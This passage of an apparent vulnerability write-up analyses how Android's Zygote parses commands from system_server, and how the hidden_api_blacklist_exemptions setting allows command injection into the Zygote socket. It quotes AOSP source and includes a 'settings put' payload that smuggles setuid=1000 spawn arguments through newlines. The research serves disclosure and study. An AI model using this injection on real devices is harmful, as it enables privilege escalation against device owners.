class="code"><pre><span class="line">Runnable <span class="title function_">runSelectLoop</span><span class="params">(String abiList)</span> &#123;</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"><span class="keyword">if</span> (pollIndex == <span class="number">0</span>) &#123;</span><br><span class="line">                       <span class="comment">// Zygote server socket</span></span><br><span class="line">                       <span class="type">ZygoteConnection</span> <span class="variable">newPeer</span> <span class="operator">=</span> acceptCommandPeer(abiList);</span><br><span class="line">                       peers.add(newPeer);</span><br><span class="line">                       socketFDs.add(newPeer.getFileDescriptor());</span><br><span class="line">                   &#125; <span class="keyword">else</span> <span class="keyword">if</span> (pollIndex &lt; usapPoolEventFDIndex) &#123;</span><br><span class="line">                       <span class="comment">// Session socket accepted from the Zygote server socket</span></span><br><span class="line"></span><br><span class="line">                       <span class="keyword">try</span> &#123;</span><br><span class="line">                           <span class="type">ZygoteConnection</span> <span class="variable">connection</span> <span class="operator">=</span> peers.get(pollIndex);</span><br><span class="line">                           <span class="type">boolean</span> <span class="variable">multipleForksOK</span> <span class="operator">=</span> !isUsapPoolEnabled()</span><br><span class="line">                                   &amp;&amp; ZygoteHooks.isIndefiniteThreadSuspensionSafe();</span><br><span class="line">                           <span class="keyword">final</span> <span class="type">Runnable</span> <span class="variable">command</span> <span class="operator">=</span></span><br><span class="line">                                   connection.processCommand(<span class="built_in">this</span>, multipleForksOK);</span><br><span class="line"></span><br><span class="line">                           <span class="comment">// TODO (chriswailes): Is this extra check necessary?</span></span><br><span class="line">                           <span class="keyword">if</span> (mIsForkChild) &#123;</span><br><span class="line">                               <span class="comment">// We&#x27;re in the child. We should always have a command to run at</span></span><br><span class="line">                               <span class="comment">// this stage if processCommand hasn&#x27;t called &quot;exec&quot;.</span></span><br><span class="line">                               <span class="keyword">if</span> (command == <span class="literal">null</span>) &#123;</span><br><span class="line">                                   <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;command == null&quot;</span>);</span><br><span class="line">                               &#125;</span><br><span class="line"></span><br><span class="line">                               <span class="keyword">return</span> command;</span><br><span class="line">                           &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                               <span class="comment">// We&#x27;re in the server - we should never have any commands to run.</span></span><br><span class="line">                               <span class="keyword">if</span> (command != <span class="literal">null</span>) &#123;</span><br><span class="line">                                   <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;command != null&quot;</span>);</span><br><span class="line">                               &#125;</span><br><span class="line"></span><br><span class="line">                               <span class="comment">// We don&#x27;t know whether the remote side of the socket was closed or</span></span><br><span class="line">                               <span class="comment">// not until we attempt to read from it from processCommand. This</span></span><br><span class="line">                               <span class="comment">// shows up as a regular POLLIN event in our regular processing</span></span><br><span class="line">                               <span class="comment">// loop.</span></span><br><span class="line">                               <span class="keyword">if</span> (connection.isClosedByPeer()) &#123;</span><br><span class="line">                                   connection.closeSocket();</span><br><span class="line">                                   peers.remove(pollIndex);</span><br><span class="line">                                   socketFDs.remove(pollIndex);</span><br><span class="line">                               &#125;</span><br><span class="line">                           &#125;</span><br><span class="line">                       &#125;</span><br><span class="line">                       </span><br><span class="line">                       <span class="comment">//...</span></span><br><span class="line">     Runnable <span class="title function_">processCommand</span><span class="params">(ZygoteServer zygoteServer, <span class="type">boolean</span> multipleOK)</span> &#123;</span><br><span class="line">       ZygoteArguments parsedArgs;</span><br></pre></td></tr></table></figure><p>Then it enters the <code>processCommand</code> function, which is the core function for parsing the command buffer and extracting parameters. The specific format is defined in <code>ZygoteArguments</code>, and much of our subsequent work will need to revolve around this format.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br></pre></td><td class="code"><pre><span class="line">    Runnable <span class="title function_">processCommand</span><span class="params">(ZygoteServer zygoteServer, <span class="type">boolean</span> multipleOK)</span> &#123;</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">  <span class="keyword">try</span> (<span class="type">ZygoteCommandBuffer</span> <span class="variable">argBuffer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ZygoteCommandBuffer</span>(mSocket)) &#123;</span><br><span class="line">            <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    parsedArgs = ZygoteArguments.getInstance(argBuffer);</span><br><span class="line">                    <span class="comment">// Keep argBuffer around, since we need it to fork.</span></span><br><span class="line">                &#125; <span class="keyword">catch</span> (IOException ex) &#123;</span><br><span class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;IOException on command socket&quot;</span>, ex);</span><br><span class="line">                &#125;</span><br><span class="line">               <span class="comment">//...</span></span><br><span class="line">                <span class="keyword">if</span> (parsedArgs.mBootCompleted) &#123;</span><br><span class="line">                    handleBootCompleted();</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> (parsedArgs.mAbiListQuery) &#123;</span><br><span class="line">                    handleAbiListQuery();</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> (parsedArgs.mPidQuery) &#123;</span><br><span class="line">                    handlePidQuery();</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                &#125;</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">                <span class="keyword">if</span> (parsedArgs.mInvokeWith != <span class="literal">null</span>) &#123;</span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);</span><br><span class="line">                        childPipeFd = pipeFds[<span class="number">1</span>];</span><br><span class="line">                        serverPipeFd = pipeFds[<span class="number">0</span>];</span><br><span class="line">                        Os.fcntlInt(childPipeFd, F_SETFD, <span class="number">0</span>);</span><br><span class="line">                        fdsToIgnore = <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;childPipeFd.getInt$(), serverPipeFd.getInt$()&#125;;</span><br><span class="line">                    &#125; <span class="keyword">catch</span> (ErrnoException errnoEx) &#123;</span><br><span class="line">                        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalStateException</span>(<span class="string">&quot;Unable to set up pipe for invoke-with&quot;</span>,</span><br><span class="line">                                errnoEx);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">        <span class="keyword">if</span> (parsedArgs.mInvokeWith != <span class="literal">null</span> || parsedArgs.mStartChildZygote</span><br><span class="line">                        || !multipleOK || peer.getUid() != Process.SYSTEM_UID) &#123;</span><br><span class="line">                    <span class="comment">// Continue using old code for now. <span class="doctag">TODO:</span> Handle these cases in the other path.</span></span><br><span class="line">                    pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,</span><br><span class="line">                            parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,</span><br><span class="line">                            parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,</span><br><span class="line">                            fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,</span><br><span class="line">                            parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,</span><br><span class="line">                            parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,</span><br><span class="line">                            parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,</span><br><span class="line">                            parsedArgs.mBindMountAppStorageDirs,</span><br><span class="line">                            parsedArgs.mBindMountSyspropOverrides);</span><br><span class="line"></span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        <span class="keyword">if</span> (pid == <span class="number">0</span>) &#123;</span><br><span class="line">                            <span class="comment">// in child</span></span><br><span class="line">                            zygoteServer.setForkChild();</span><br><span class="line"></span><br><span class="line">                            zygoteServer.closeServerSocket();</span><br><span class="line">                            IoUtils.closeQuietly(serverPipeFd);</span><br><span class="line">                            serverPipeFd = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">                            <span class="keyword">return</span> handleChildProc(parsedArgs, childPipeFd,</span><br><span class="line">                                    parsedArgs.mStartChildZygote);</span><br><span class="line">                        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                            <span class="comment">// In the parent. A pid &lt; 0 indicates a failure and will be handled in</span></span><br><span class="line">                            <span class="comment">// handleParentProc.</span></span><br><span class="line">                            IoUtils.closeQuietly(childPipeFd);</span><br><span class="line">                            childPipeFd = <span class="literal">null</span>;</span><br><span class="line">                            handleParentProc(pid, serverPipeFd);</span><br><span class="line">                            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                        IoUtils.closeQuietly(childPipeFd);</span><br><span class="line">                        IoUtils.closeQuietly(serverPipeFd);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    ZygoteHooks.preFork();</span><br><span class="line">                    <span class="type">Runnable</span> <span class="variable">result</span> <span class="operator">=</span> Zygote.forkSimpleApps(argBuffer,</span><br><span class="line">                            zygoteServer.getZygoteSocketFileDescriptor(),</span><br><span class="line">                            peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);</span><br><span class="line">                    <span class="keyword">if</span> (result == <span class="literal">null</span>) &#123;</span><br><span class="line">                        <span class="comment">// parent; we finished some number of forks. Result is Boolean.</span></span><br><span class="line">                        <span class="comment">// We already did the equivalent of handleParentProc().</span></span><br><span class="line">                        ZygoteHooks.postForkCommon();</span><br><span class="line">                        <span class="comment">// argBuffer contains a command not understood by forksimpleApps.</span></span><br><span class="line">                        <span class="keyword">continue</span>;</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        <span class="comment">// child; result is a Runnable.</span></span><br><span class="line">                        zygoteServer.setForkChild();</span><br><span class="line">                        <span class="keyword">return</span> result;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//...</span></span><br><span class="line">        <span class="keyword">if</span> (parsedArgs.mApiDenylistExemptions != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> handleApiDenylistExemptions(zygoteServer,</span><br><span class="line">                    parsedArgs.mApiDenylistExemptions);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="meta">@Nullable</span> Runnable <span class="title function_">forkSimpleApps</span><span class="params">(<span class="meta">@NonNull</span> ZygoteCommandBuffer argBuffer,</span></span><br><span class="line"><span class="params">                                             <span class="meta">@NonNull</span> FileDescriptor zygoteSocket,</span></span><br><span class="line"><span class="params">                                             <span class="type">int</span> expectedUid,</span></span><br><span class="line"><span class="params">                                             <span class="type">int</span> minUid,</span></span><br><span class="line"><span class="params">                                             <span class="meta">@Nullable</span> String firstNiceName)</span> &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">in_child</span> <span class="operator">=</span></span><br><span class="line">                argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);</span><br><span class="line">        <span class="keyword">if</span> (in_child) &#123;</span><br><span class="line">            <span class="keyword">return</span> childMain(argBuffer, <span class="comment">/*usapPoolSocket=*/</span><span class="literal">null</span>, <span class="comment">/*writePipe=*/</span><span class="literal">null</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="type">boolean</span> <span class="title function_">forkRepeatedly</span><span class="params">(FileDescriptor zygoteSocket, <span class="type">int</span> expectedUid, <span class="type">int</span> minUid,</span></span><br><span class="line"><span class="params">               String firstNiceName)</span> &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),</span><br><span class="line">            expectedUid, minUid, firstNiceName);</span><br></pre></td></tr></table></figure><p>This is the top-level entry point for Zygote command processing, but the devil is in the details. After Android 12, Google implemented a fast-path C++ parser in <code>ZygoteCommandBuffer</code>, namely <a href="https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/jni/com_android_internal_os_ZygoteCommandBuffer.cpp;l=382?q=nativeForkRepeat&amp;ss=android%2Fplatform%2Fsuperproject%2Fmain">com_android_internal_os_ZygoteCommandBuffer.cpp</a>. The main idea is that Zygote maintains a new inner loop in <code>nativeForkRepeatly</code> outside the outer loop in <code>processCommand</code>, to improve the efficiency of launching apps.</p><p><code>nativeForkRepeatly</code> also polls on the Command Socket and repeatedly processes what is called a <code>SimpleFork</code> format parsed from the byte stream. This <code>SimpleFork</code> actually only processes simple zygote parameters such as <code>runtime-args</code>, <code>setuid</code>, <code>setgid</code>, etc. The discovery of other parameters during the reading process will cause an exit from this loop and return to the outer loop in <code>processCommand</code>, where a new <code>ZygoteCommandBuffer</code> will be constructed, the loop will restart, and unrecognized commands will be read and parsed again in the outer loop.</p><p>System_server may send various commands to zygote, not only commands to start processes, but also commands to modify some global environment values, such as <code>denylistexemptions</code> which contains the vulnerable code, which we will explain in more detail later.</p><p>As for system_server itself, its startup process is not complicated, as launched by hardcoded parameters in Zygote—obviously because Zygote cannot receive commands from a process that does not yet exist, this is a “chicken or egg” problem, and the solution is to start system_server through hardcoding.</p><h2 id="the-zygote-command-format"><a class="markdownIt-Anchor" href="#the-zygote-command-format"></a> The Zygote command format</h2><p>The command parameters accepted by Zygote are in a format similar to Length-Value pairs, separated by line breaks, as shown below</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">8</span>                              [command #<span class="number">1</span> arg count]</span><br><span class="line">--runtime-args                 [arg #<span class="number">1</span>: vestigial, needed <span class="keyword">for</span> process spawn]</span><br><span class="line">--setuid=<span class="number">10266</span>                 [arg #<span class="number">2</span>: process UID]</span><br><span class="line">--setgid=<span class="number">10266</span>                 [arg #<span class="number">3</span>: process GID]</span><br><span class="line">--target-sdk-version=<span class="number">31</span>        [args #<span class="number">4</span>-#<span class="number">7</span>: misc app parameters]</span><br><span class="line">--nice-name=com.facebook.orca</span><br><span class="line">--app-data-dir=/data/user/<span class="number">0</span>/com.facebook.orca</span><br><span class="line">--<span class="keyword">package</span>-name=com.facebook.orca</span><br><span class="line">android.app.ActivityThread     [arg #<span class="number">8</span>: Java entry point]</span><br><span class="line"><span class="number">3</span>                              [command #<span class="number">2</span> arg count]</span><br><span class="line">--set-api-denylist-exemptions  [arg #<span class="number">1</span>: special argument, don<span class="string">&#x27;t spawn process]</span></span><br><span class="line"><span class="string">LClass1;-&gt;method1(             [args #2, #3: denylist entries]</span></span><br><span class="line"><span class="string">LClass1;-&gt;field1:</span></span><br></pre></td></tr></table></figure><p>Roughly, the protocol parsing process first reads the number of lines, then reads the content of each line one by one according to the number of lines. However, after Android 12, the exploitation method gets much more complicated due to some buffer pre-reading optimizations, which also led to a significant increase in the length of this article and the difficulty of vulnerability exploitation.</p><h1 id="the-vulnerability-itself"><a class="markdownIt-Anchor" href="#the-vulnerability-itself"></a> The vulnerability itself</h1><p>From the previous analysis, we can see that Zygote simply parses the buffer it receives from system_server blindly - without performing any additional secondary checks. This leaves room for command injection: if we can somehow manipulate system_server to write attacker-controlled content into the command socket.</p><p><code>denylistexemptions</code> provides such a method</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">update</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">exemptions</span> <span class="operator">=</span> Settings.Global.getString(mContext.getContentResolver(),</span><br><span class="line">            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);</span><br><span class="line">    <span class="keyword">if</span> (!TextUtils.equals(exemptions, mExemptionsStr)) &#123;</span><br><span class="line">        mExemptionsStr = exemptions;</span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;*&quot;</span>.equals(exemptions)) &#123;</span><br><span class="line">            mBlacklistDisabled = <span class="literal">true</span>;</span><br><span class="line">            mExemptions = Collections.emptyList();</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            mBlacklistDisabled = <span class="literal">false</span>;</span><br><span class="line">            mExemptions = TextUtils.isEmpty(exemptions)</span><br><span class="line">                    ? Collections.emptyList()</span><br><span class="line">                    : Arrays.asList(exemptions.split(<span class="string">&quot;,&quot;</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) &#123;</span><br><span class="line">          Slog.e(TAG, <span class="string">&quot;Failed to set API blacklist exemptions!&quot;</span>);</span><br><span class="line">          <span class="comment">// leave mExemptionsStr as is, so we don&#x27;t try to send the same list again.</span></span><br><span class="line">          mExemptions = Collections.emptyList();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@GuardedBy(&quot;mLock&quot;)</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">boolean</span> <span class="title function_">maybeSetApiDenylistExemptions</span><span class="params">(ZygoteState state, <span class="type">boolean</span> sendIfEmpty)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (state == <span class="literal">null</span> || state.isClosed()) &#123;</span><br><span class="line">        Slog.e(LOG_TAG, <span class="string">&quot;Can&#x27;t set API denylist exemptions: no zygote connection&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (!sendIfEmpty &amp;&amp; mApiDenylistExemptions.isEmpty()) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + <span class="number">1</span>));</span><br><span class="line">        state.mZygoteOutputWriter.newLine();</span><br><span class="line">        state.mZygoteOutputWriter.write(<span class="string">&quot;--set-api-denylist-exemptions&quot;</span>);</span><br><span class="line">        state.mZygoteOutputWriter.newLine();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; mApiDenylistExemptions.size(); ++i) &#123;</span><br><span class="line">            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));</span><br><span class="line">            state.mZygoteOutputWriter.newLine();</span><br><span class="line">        &#125;</span><br><span class="line">        state.mZygoteOutputWriter.flush();</span><br><span class="line">        <span class="type">int</span> <span class="variable">status</span> <span class="operator">=</span> state.mZygoteInputStream.readInt();</span><br><span class="line">        <span class="keyword">if</span> (status != <span class="number">0</span>) &#123;</span><br><span class="line">            Slog.e(LOG_TAG, <span class="string">&quot;Failed to set API denylist exemptions; status &quot;</span> + status);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException ioe) &#123;</span><br><span class="line">        Slog.e(LOG_TAG, <span class="string">&quot;Failed to set API denylist exemptions&quot;</span>, ioe);</span><br><span class="line">        mApiDenylistExemptions = Collections.emptyList();</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>“Regardless of the reason why <code>hidden_api_blacklist_exemptions</code> is modified, the <code>ContentObserver</code>’s callback will be triggered. The newly written value will be read and, after parsing (mainly based on splitting the string by commas), directly written into the zygote command socket. A typical command injection.”</p><h2 id="achieving-universal-exploitation-utilizing-socket-features"><a class="markdownIt-Anchor" href="#achieving-universal-exploitation-utilizing-socket-features"></a> Achieving universal exploitation utilizing socket features</h2><h3 id="difficulty-encountered-on-android12-and-above"><a class="markdownIt-Anchor" href="#difficulty-encountered-on-android12-and-above"></a> Difficulty encountered on Android12 and above</h3><p>The attacker’s initial idea was to directly inject new commands that would trigger the process startup, as shown below:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">settings put global hidden_api_blacklist_exemptions <span class="string">&quot;LClass1;-&gt;method1(</span></span><br><span class="line"><span class="string">3</span></span><br><span class="line"><span class="string">--runtime-args</span></span><br><span class="line"><span class="string">--setuid=1000</span></span><br><span class="line"><span class="string">--setgid=1000</span></span><br><span class="line"><span class="string">1</span></span><br><span class="line"><span class="string">--boot-completed&quot;</span></span><br><span class="line"><span class="string">&quot;</span></span><br></pre></td></tr></table></figure><p>In Android 11 or earlier versions, this type of payload was simple and effective because in these versions, Zygote reads each line directly through Java’s <code>readLine</code> without any buffer implementation affecting it. However, in Android 12, the situation becomes much more complex. Command parsing is now handled by <code>NativeCommandBuffer</code>, introducing a key difference: <strong>after the content is examined for once, this parser discards all trailing unrecognized content in the buffer and exits, rather than saving it for the next parsing attempt</strong>. This means that injected commands will be directly discarded!</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line">NO_STACK_PROTECTOR</span><br><span class="line">jboolean <span class="title function_">com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly</span><span class="params">(</span></span><br><span class="line"><span class="params">            JNIEnv* env,</span></span><br><span class="line"><span class="params">            jclass,</span></span><br><span class="line"><span class="params">            jlong j_buffer,</span></span><br><span class="line"><span class="params">            jint zygote_socket_fd,</span></span><br><span class="line"><span class="params">            jint expected_uid,</span></span><br><span class="line"><span class="params">            jint minUid,</span></span><br><span class="line"><span class="params">            jstring managed_nice_name)</span> &#123;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">  <span class="type">bool</span> <span class="variable">first_time</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">  <span class="keyword">do</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (credentials.uid != static_cast&lt;uid_t&gt;(expected_uid)) &#123;</span><br><span class="line">      <span class="keyword">return</span> JNI_FALSE;</span><br><span class="line">    &#125;</span><br><span class="line">    n_buffer-&gt;readAllLines(first_time ? fail_fn_1 : fail_fn_n);</span><br><span class="line">    n_buffer-&gt;reset();</span><br><span class="line">    <span class="type">int</span> <span class="variable">pid</span> <span class="operator">=</span> zygote::forkApp(env, <span class="comment">/* no pipe FDs */</span> -<span class="number">1</span>, -<span class="number">1</span>, session_socket_fds,</span><br><span class="line">                              <span class="comment">/*args_known=*/</span> <span class="literal">true</span>, <span class="comment">/*is_priority_fork=*/</span> <span class="literal">true</span>,</span><br><span class="line">                              <span class="comment">/*purge=*/</span> first_time);</span><br><span class="line">    <span class="keyword">if</span> (pid == <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> JNI_TRUE;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">    <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">      <span class="comment">// Clear buffer and get count from next command.</span></span><br><span class="line">      n_buffer-&gt;clear();</span><br><span class="line">      <span class="comment">//...</span></span><br><span class="line">      <span class="keyword">if</span> 